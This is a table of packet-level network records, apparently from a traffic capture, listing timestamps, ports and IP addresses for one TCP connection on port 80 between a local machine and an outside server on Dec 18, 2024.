Dec 18, 2024 11:09:29.116286993 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.116353989 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.116383076 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.116496086 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.117279053 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.118293047 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.118303061 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.118313074 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.118315935 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.118350983 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.118350983 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.119378090 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.119389057 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.119421005 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.121195078 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.121205091 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.121216059 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.121258974 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.121258974 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.121527910 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.121572018 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.123020887 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.123034000 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.123068094 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.123336077 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.123368025 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.123379946 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.124619007 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.124656916 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.124667883 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.124696970 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.126190901 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.126202106 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.126211882 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.126254082 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.126254082 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.127118111 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.127129078 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.127140045 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.127187967 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.127187967 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.129070044 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.129102945 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.129118919 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.129137039 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.129172087 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.129173040 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.129173040 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.130203962 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.130269051 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.130306005 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.130322933 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.130506992 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.131167889 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.131202936 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.131220102 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.131351948 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.133013964 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.133050919 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.133068085 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.133084059 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.133126974 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.133126974 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.133497000 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.134620905 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.134702921 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.134738922 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.134780884 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.134780884 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.135418892 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.135477066 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.135524035 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.135524035 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.136897087 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.136924982 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.136934996 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.136998892 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.136998892 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.137973070 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.137984991 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.137995005 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.138020992 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.138259888 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.138909101 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.138953924 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.139154911 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.139329910 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.140824080 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.140836000 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.140847921 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.140871048 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.141944885 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.141956091 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.141972065 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.141989946 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.141989946 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.142148018 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.143382072 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.143394947 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.143426895 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.144742966 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.144752979 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.144764900 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.144804001 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.144804001 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.145824909 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.145836115 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.145845890 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.145873070 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.147361994 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.147394896 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.147408009 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.147484064 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.148833990 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.148844957 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.148854971 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.148883104 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.149745941 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.149765015 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.149768114 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.149781942 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.149802923 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.149804115 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.150150061 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.150751114 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.150789976 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.151366949 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.151406050 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.151566029 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.153511047 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.291395903 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.291413069 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.291446924 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.291486979 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.292629004 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.292644024 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.292685032 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.293215036 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.293230057 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.293242931 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.293260098 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.293260098 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.293656111 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.294538021 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.294553041 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.294595957 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.295084953 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.295097113 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.295110941 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.295336008 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.296050072 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.296065092 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.296094894 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.296788931 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.297545910 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.297561884 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.297594070 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.297859907 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.298226118 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.298239946 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.298274994 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.299067974 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.299081087 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.299109936 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.299348116 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.300458908 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.300476074 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.300504923 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.300853968 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.300889969 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.300889969 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.301960945 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.301975012 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.301992893 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.302016020 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.302016020 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.303343058 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.303379059 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.303392887 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.303421974 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.303486109 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.304544926 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.304591894 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.308749914 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.308763981 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.308775902 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.308789968 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.309433937 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.309489012 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.309582949 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.309767962 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.309802055 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.309839964 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.309874058 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.310684919 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.310739994 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.310769081 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.310802937 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.311641932 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.311706066 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.311747074 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.311913967 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.312796116 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.312808990 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.312839031 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.312882900 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.314395905 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.314409018 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.314451933 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.314613104 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.314661026 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.314672947 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.314719915 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.314719915 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.315582991 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.315619946 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.315818071 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.315902948 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.316730976 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.316747904 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.316766977 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.317183018 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.317533016 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.317584991 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.317816973 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.317874908 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.318679094 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.318778992 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.318798065 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.318866014 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.319662094 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.319699049 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.319803953 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.319842100 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.320512056 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.320548058 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.320624113 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.320658922 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.321840048 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.321856022 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.321876049 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.321899891 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.322767019 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.322782040 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.322801113 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.322822094 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.323549032 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.323564053 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.323584080 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.323613882 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.324652910 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.324667931 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.324722052 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.324722052 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.325449944 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.325504065 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.325524092 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.325575113 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.326455116 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.326483011 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.326502085 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.326577902 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.327461004 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.327531099 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.327572107 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.327573061 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.328568935 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.328596115 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.328608990 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.328681946 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.329386950 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.329437017 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.329472065 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.329523087 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.330501080 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.330528975 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.330549955 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.330629110 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.331353903 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.331401110 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.331456900 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.331513882 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.332382917 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.332410097 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.332458019 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.332458019 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.333386898 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.333416939 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.333455086 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.333455086 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.334319115 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.334408045 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.334464073 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.334541082 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.335402012 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.335445881 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.335490942 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.335490942 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.336219072 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.336316109 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.336349010 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.336431026 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.337327957 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.337374926 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.337505102 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.337682009 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.338401079 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.338433981 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.338464975 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.338556051 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.339154959 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.339278936 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.339359045 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.339404106 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.340147018 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.340194941 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.340311050 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.340405941 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.341150045 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.341193914 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.341242075 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.341290951 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.342312098 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.342360973 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.342475891 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.342547894 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.343338966 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.343372107 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.343398094 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.343483925 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.344120979 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.344346046 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.344404936 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.344446898 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.345086098 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.345136881 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.345201015 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.345431089 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.346000910 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.346098900 CET	49912	80	192.168.2.6	31.41.244.11
